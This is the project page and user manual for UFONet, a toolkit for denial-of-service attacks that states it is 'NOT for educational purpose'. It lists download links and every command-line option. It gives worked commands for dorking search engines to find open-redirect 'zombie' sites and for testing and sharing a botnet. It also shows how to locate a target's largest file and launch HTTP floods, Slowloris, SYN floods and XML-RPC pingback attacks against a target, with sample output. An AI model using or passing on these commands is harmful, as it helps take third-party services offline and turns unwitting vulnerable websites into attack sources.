UFONet - Denial of Service Toolkit 
"oderint dum metuant"


  • [09/2018] - UFONet code (v1.1 aka "Quantum Hydra!") has been released: (tar.gz) | (.zip) | (code)


Up to menu
UFONet - is a toolkit designed to launch DDoS and DoS attacks.
+ See these links for more info: - CWE-601:Open Redirect - OWASP:URL Redirector Abuse UFONet abuses OSI Layer 7-HTTP to create/manage 'zombies' and to conduct different attacks using; GET/POST, multithreading, proxies, origin spoofing methods, cache evasion techniques, etc. + [12/2016] - UFONet (v0.8 "Ninja DDoS Nation") slides: (.pdf)

[!]Remember: this tool is NOT for educational purpose.

UFONet Blazar!
Usage of UFONet for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.


Up to menu
+ Source code (official):

git clone https://code.03c8.net/epsylon/ufonet

-------------------------------- + Source code (mirror):

git clone https://github.com/epsylon/ufonet

-------------------------------- + Packages (latest version): - UFONet-v1.1 (.zip) (md5:04a0b3439384a0d51cce72ba4a2cae82) - torrent - UFONet-v1.1 (.tar.gz) (md5:a0c7cf82ee1eb74370c3faec727b661c) - torrent -------------------------------- + Packages (previous version): - UFONet-v1.0 (.zip) (md5:a928524c167238d6a95a8a38ada5c334) - torrent - UFONet-v1.0 (.tar.gz) (md5:5b4d8d6740f22329bfe4a44f07a7f7a9) - torrent - UFONet-v1.0-1.all (.deb) (md5:fd0b125f8374fd731290657fa7e3f1b7) + Packages (old versions): - UFONet-v0.9 (.zip) (md5:7540f45eb8e2d3881f8d17e9a638987a) - torrent - UFONet-v0.9 (.tar.gz) (md5:2885a332afecea3d730361557a84a9ca) - torrent - UFONet-v0.8 (.zip) (md5:da3f21a040ff5089f86f9d6f83c65138) - torrent - UFONet-v0.8 (.tar.gz) (md5:43c282660fde63a0c287e2c3a3260f76) - torrent - UFONet-v0.7 (.zip) (md5:77af04023893d71f34e12a424247a0dd) - torrent - UFONet-v0.7 (.tar.gz) (md5:5f4656a8e0a75a8483c3d425e86cca4b) - torrent - UFONet-v0.6 (.zip) (md5:f6be802f76e40b7dfd06075bfc616e39) - torrent - UFONet-v0.6 (.tar.gz) (md5:40ca8242475a72dc99c139309fe9055c) - torrent - UFONet-v0.5b (.tar.gz) (md5:775f13baefb9241142c377f8519506f7)


Up to menu
If you have problems with UFONet, try to solve them following next links: - Website FAQ section - UFONet GitHub issues
Also you can stay in touch by reporting on my "mothership" (Board provided by default) [ +Zoom ].
If nobody gets back to you, then drop me an e-mail.


Up to menu
UFONet runs on many platforms. It requires Python (>2.7.9) and the following libraries: python-pycurl - Python bindings to libcurl python-geoip - Python bindings for the GeoIP IP-to-country resolver library python-whois - Python module for retrieving WHOIS information - Python 2 python-crypto - Cryptographic algorithms and protocols for Python python-requests - elegant and simple HTTP library for Python2, built for human beings python-scapy - Packet generator/sniffer and network scanner/discovery You can automatically get all required libraries using: python setup.py install For manual installation on Debian-based systems (ex: Ubuntu), run: sudo apt-get install python-pycurl python-geoip python-whois python-crypto python-requests python-scapy On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run: pip install geoip pip install requests pip install pycrypto Source libs: * Python: https://www.python.org/downloads/ * PyCurl: http://pycurl.sourceforge.net/ * PyGeoIP: https://pypi.python.org/pypi/GeoIP/ * PyWhois: https://pypi.python.org/pypi/whois * PyCrypto: https://pypi.python.org/pypi/pycrypto * PyRequests: https://pypi.python.org/pypi/requests * PyScapy: https://pypi.org/project/scapy/ * Leaflet: http://leafletjs.com/ (provided)


Up to menu
Usage: ./ufonet [options] UFONet - Denial of Service Toolkit - by psy Options: --version show program's version number and exit -h, --help show this help message and exit -v, --verbose active verbose on requests --timeline show program's code timeline --update check for latest stable version --check-tor check to see if Tor is used properly --force-ssl force usage of SSL/HTTPS requests --force-yes set 'YES' to all questions --gui run GUI (UFONet Web Interface) *Tools*: --crypter Crypt/Decrypt messages using AES256+HMAC-SHA1 --network Show info about your network (MAC, IPs) *Configure Request(s)*: --proxy=PROXY Use proxy server (tor: '') --user-agent=AGENT Use another HTTP User-Agent header (default SPOOFED) --referer=REFERER Use another HTTP Referer header (default SPOOFED) --host=HOST Use another HTTP Host header (default NONE) --xforw Set your HTTP X-Forwarded-For with random IP values --xclient Set your HTTP X-Client-IP with random IP values --timeout=TIMEOUT Select your timeout (default 10) --retries=RETRIES Retries when the connection timeouts (default 1) --threads=THREADS Maximum number of concurrent HTTP requests (default 5) --delay=DELAY Delay in seconds between each HTTP request (default 0) *Search for 'Zombies'*: -s SEARCH Search from a 'dork' (ex: -s 'proxy.php?url=') --sd=DORKS Search from 'dorks' file (ex: --sd 'botnet/dorks.txt') --sn=NUM_RESULTS Set max number of results for engine (default 10) --se=ENGINE Search engine to use for 'dorking' (default Yahoo) --sa Search massively using all search engines --auto-search Search automatically for 'zombies' (may take time!) *Test Botnet*: --test-offline Fast check to discard offline bots --test-all Update ALL botnet status (may take time!) -t TEST Update 'zombies' status (ex: -t 'botnet/zombies.txt') --test-rpc Update 'reflectors' status (ex: --test-rpc) --attack-me Order 'zombies' to attack you (NAT required!) *Community*: --download-zombies Download 'zombies' from Community server --upload-zombies Upload your 'zombies' to Community server --blackhole Create a 'blackhole' to share your 'zombies' --up-to=UPIP Upload your 'zombies' to a 'blackhole' --down-from=DIP Download your 'zombies' from a 'blackhole' *Research Target*: -i INSPECT Search biggest file (ex: -i 'http(s)://target.com') -x ABDUCTION Examine webserver configuration (+CVE, +WAF detection) *Extra Attack(s)*: --db=DBSTRESS Start 'DB Stress' attack (ex: --db 'search.php?q=') --loic=LOIC Start 'DoS Web LOIC' attack (ex: --loic 100) --loris=LORIS Start 'DoS Slow HTTP' attack (ex: --loris 101) --ufosyn=UFOSYN Start 'DoS TCP-SYN flood' attack (ex: --ufosyn 100) *Configure Attack(s)*: --no-head Disable status check: 'Is target up?' --no-aliens Disable 'aliens' web abuse --no-droids Disable 'droids' redirectors --no-ucavs Disable 'ucavs' checkers --no-rpcs Disable 'xml-rpcs' reflectors -r ROUNDS Set number of rounds (default 1) -b PLACE Set place to attack (ex: -b '/path/big.jpg') -a TARGET Start 'DDoS' attack (ex: -a 'http(s)://target.com')


Up to menu
  • Searching for 'zombies':

UFONet can dig on different search engines results to find possible 'Open Redirect' vulnerable sites. 

A common query string should be like this:


For example, you can begin a search with:

       ./ufonet -s 'proxy.php?url='

Or providing a list of "dorks" from a file:

       ./ufonet --sd 'botnet/dorks.txt'

By default UFONet will use a search engine called 'Yahoo'. But you can choose a different one:

       ./ufonet -s 'proxy.php?url=' --se 'bing'

This is the list of available search engines with last time that they were working:

        - bing [26/09/2018: OK!]
        - yahoo [26/09/2018: OK!]

You can also search massively using all search engines supported:

       ./ufonet -s 'proxy.php?url=' --sa 

To control how many 'zombies' recieved from the search engines reports you can use:

       ./ufonet --sd 'botnet/dorks.txt' --sa --sn 20

Or you can make the tool to search for the maximun number of results automatically (this may take time!):

       ./ufonet --auto-search

At the end of the process, you will be asked if you want to check the list retrieved to see 
if the urls are vulnerable.

       Want to check if they are valid zombies? (Y/n)

Also, you will be asked to update the list adding automatically only the 'vulnerable' web apps.

       Want to update your list? (Y/n)

If your answer is 'Y', your new 'zombies' will be appended to the file named: zombies.txt


     + with verbose:       ./ufonet -s 'proxy.php?url=' -v
     + with threads:       ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100

  • Testing botnet:

UFONet can test if your 'zombies' are vulnerable and can be used for attacking tasks. 

For example, open 'botnet/zombies.txt' (or another file) and create a list of possible 'zombies'. 
Remember that urls of the 'zombies' should be like this:


After that, launch:

       ./ufonet -t 'botnet/zombies.txt'

You can test for XML-RPC Pingback vulnerability related 'zombies', with:

       ./ufonet --test-rpc

To check if your 'zombies' are still infected testing the whole botnet (this may take time!) try this:

       ./ufonet --test-all

And to check if your 'zombies' are still online run:

       ./ufonet --test-offline

Finally, you can order your 'zombies' to attack you and see how they reply to your needs using:

       ./ufonet --attack-me 

At the end of the process, you will be asked if you want to check the list retrieved to see 
if the urls are vulnerable.

       Want to check if they are valid zombies? (Y/n)

If your answer is 'Y', the file: "botnet/zombies.txt" will be updated.


     + with verbose:        ./ufonet -t 'botnet/zombies.txt' -v
     + with proxy TOR:      ./ufonet -t 'botnet/zombies.txt' --proxy=""
     + with threads:        ./ufonet -t 'botnet/zombies.txt' --threads 50

     + test whole botnet:   ./ufonet --test-all
     + test XML-RPCs:       ./ufonet --test-rpc
     + search for offlines: ./ufonet --test-offline 
     + attack yourself:     ./ufonet --attack-me

  • Inspecting a target:

UFONet can search for biggest file on your target by crawlering it:

       ./ufonet -i http://target.com

You can use this before to attack to be more effective.

       ./ufonet -a http://target.com -b "/biggest_file_on_target.xxx"



       ./ufonet -i http://target.com



        +Image found: images/wizard.jpg
	(Size: 63798 Bytes)
	+Style (.css) found: fonts.css
	(Size: 20448 Bytes)
	+Webpage (.php) found: contact.php
	(Size: 2483 Bytes)
	+Webpage (.php) found: about.php
	(Size: 1945 Bytes)
	+Webpage (.php) found: license.php
	(Size: 1996 Bytes)
	=Biggest File: http://target.com/images/wizard.jpg

  • Abducting a target:

UFONet can provide you some interesting information about your target:

       ./ufonet -x http://target.com



       ./ufonet -x https://yahoo.com



       -Target URL: https://yahoo.com 
       -IP    :
       -IPv6  : OFF
       -Port  : 443
       -Domain: yahoo.com

       -Bytes in : 550.09 KB
       -Load time: 9.10 seconds

       -Banner: ATS
       -Vía   : http/1.1 usproxy3.fp.ne1.yahoo.com (ApacheTrafficServer), 
                http/1.1 media-router-fp25.prod.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]) 

       -WAF/IDS: FIREWALL NOT PRESENT (or not discovered yet)! ;-)


        + CVE-2017-7671 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7671
        + CVE-2017-5660 -> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5660

        [Info] Abduction finished... ;-)


  • Attacking a target:

UFONet can attack your target in many different ways.

For example, enter a target to attack with a number of rounds:

       ./ufonet -a http://target.com -r 10

On this example UFONet will attack the target a number of 10 times for each 'zombie'. That means that 
if you have a list of 1.000 'zombies' it will launch: 

       1.000 'zombies' x 10 rounds = 10.000 requests

If you don't put any round it will apply only 1 by default.

Additionally, you can choose a place to recharge on target's site. For example, a large image, 
a big size file or a flash movie. In some scenarios where targets doesn't use cache systems 
this will make the attack more effective.

       ./ufonet -a http://target.com -b "/images/big_size_image.jpg"


     + with verbose:     ./ufonet -a http://target.com -r 10 -v
     + with proxy TOR:   ./ufonet -a http://target.com -r 10 --proxy=""
     + with a place:     ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg"
     + with threads:     ./ufonet -a http://target.com -r 10 --threads 500

  • Special attacks:

UFONet uses different ways to exploit 'Open Redirect' vulnerabilities.

You can use UFONet to stress database on target by requesting random valid strings as search queries:

       ./ufonet -a http://target.com --db "search.php?q="

Also, it exploits (by default) XML-RPC Pingback Vulnerability, generating callback requests and 
increasing processing required by target.

You can test your list of 'XML-RPCs zombies' launching:

     ./ufonet --test-rpc

At same time, you can connect LOIC (with proxy support), to make a determinate number of recursive requests
directly to your target:

     ./ufonet -a http://target.com --loic 100

You can connect LORIS to make requests leave open threads on the target too, making the web server
work slower:

     ./ufonet -a http://target.com --loris 100

And you can connect UFOSYN (it requires 'root' access) to start a powerful TCP/SYN flood attack:

     sudo python ufonet -a http://target.com --ufosyn 100

Both ways could be combined so UFONet can attacks DDoS and DoS, at the same time:

     python ufonet -a http://target.com --loic 100 --loris 100

     sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100

  • Updating:

UFONet implements an option to update the tool to the latest stable version.
This feature can be used only if you have cloned it from a git respository.
To check your version you should launch:

     ./ufonet --update

This will update the tool automatically, removing all files from your old package.

  • Generating 'Blackhole':

  UFONet has some P2P options to share/keep 'zombies' with other 'motherships'.
  * Setup web server with a folder "ufonet", this folder should be: 

    - located in /var/www/ufonet (default debian/ubuntu install)
    - owned by the user running the blackhole
    - accessible with http://your-ip/ufonet/

  * Start the blackhole with: ./ufonet --blackhole (or python2 blackhole.py)

  * Anyone wanting to connect to your server needs to set the --up-to/--down-from 
    to the ip address of your webserver...

  [!]WARNING : this *ADVANCED* function is *NOT* secure, proceed if you really want to.


   + Starting 'blackhole' server: ./ufonet --blackhole (as daemon: ./ufonet --blackhole &)




Up to menu
You can manage UFONet using a Web interface. The tool has implemented a python web server connected to the core, to provides you a more user friendly experience. To launch it, use: ./ufonet --gui This will open a tab on your default browser with all features of the tool and some 'extra' options:
Allows to read last 'news' published by a "mothership"
Allows to read last 'missions' published by a "mothership"
Allows to review statistics from your "spaceship"
Allows to send/receive messages to/from a "mothership" (a forum)
Allows to interact with a "mothership" to download/upload 'zombies'
Allows to review statistics from other "spaceships"
Allows to extract interesting information about your target
Allows to propose and join some real "wargames"


Up to menu
* [VIDEO]: UFONet v1.0 "Tachy0n!"-> [PLAY!] * [VIDEO]: UFONet v0.9 "Blazar!"-> [PLAY!] * [VIDEO]: UFONet v0.7 "Big Crunch!"-> [PLAY!] * [VIDEO]: UFONet v0.6 "Galactic OFFensive"-> [PLAY!]
* Shell: Version [ +Zoom ]

UFONet Quantum Hydra!
* Shell: GUI [ +Zoom ]

UFONet Quantum Hydra!
* GUI: Welcome [ +Zoom ]

UFONet Quantum Hydra!
* GUI: Main [ +Zoom ]

UFONet Quantum Hydra!
* GUI: Botnet [ +Zoom ]

UFONet Quantum Hydra!
* GUI: Stats [ +Zoom ]

UFONet Quantum Hydra!
* GUI: Board [ +Zoom ]

UFONet Quantum Hydra!
* GUI: Grid [ +Zoom ]

UFONet Quantum Hydra!
* GUI: Grid Stats [ +Zoom ]

UFONet Quantum Hydra!
* GUI: Wargames [ +Zoom ]

UFONet Quantum Hydra!
* GUI: Attack [ +Zoom ]

UFONet Quantum Hydra!
* GUI: GlobalMap Deploying Botnet [ +Zoom ]

UFONet Big Crunch!
* GUI: GlobalMap Botnet Attack [ +Zoom ]

UFONet Big Crunch!


Up to menu
UFONet is released under the terms of the GPLv3 and is copyrighted by psy.


Up to menu
Date Size Version Alias -------------------------------------------------- 2013-06-18 7.6kB 0.1b 2013-06-22 8.3kB 0.2b 2014-09-17 12.6kB 0.3b 2014-09-27 12.8kB 0.3.1b Abduction 2014-12-16 36.3kB 0.4b Infection! 2015-05-24 59.0kB 0.5b Invasion! 2016-02-20 287.5kB 0.6 Galactic Offensive! 2016-08-18 301.9kB 0.7 Big Crunch! 2016-12-12 450.8kB 0.8 U-NATi0n! 2017-07-13 872.5kB 0.9 Blazar! 2018-03-07 947.9kB 1.0 TachYon! 2018-09-26 950.7kB 1.1 Quantum Hydra!


Up to menu
To make donations use the following hash: - Bitcoin: 1Q63KtiLGzXiYA8XkWFPnWo7nKPWFr3nrc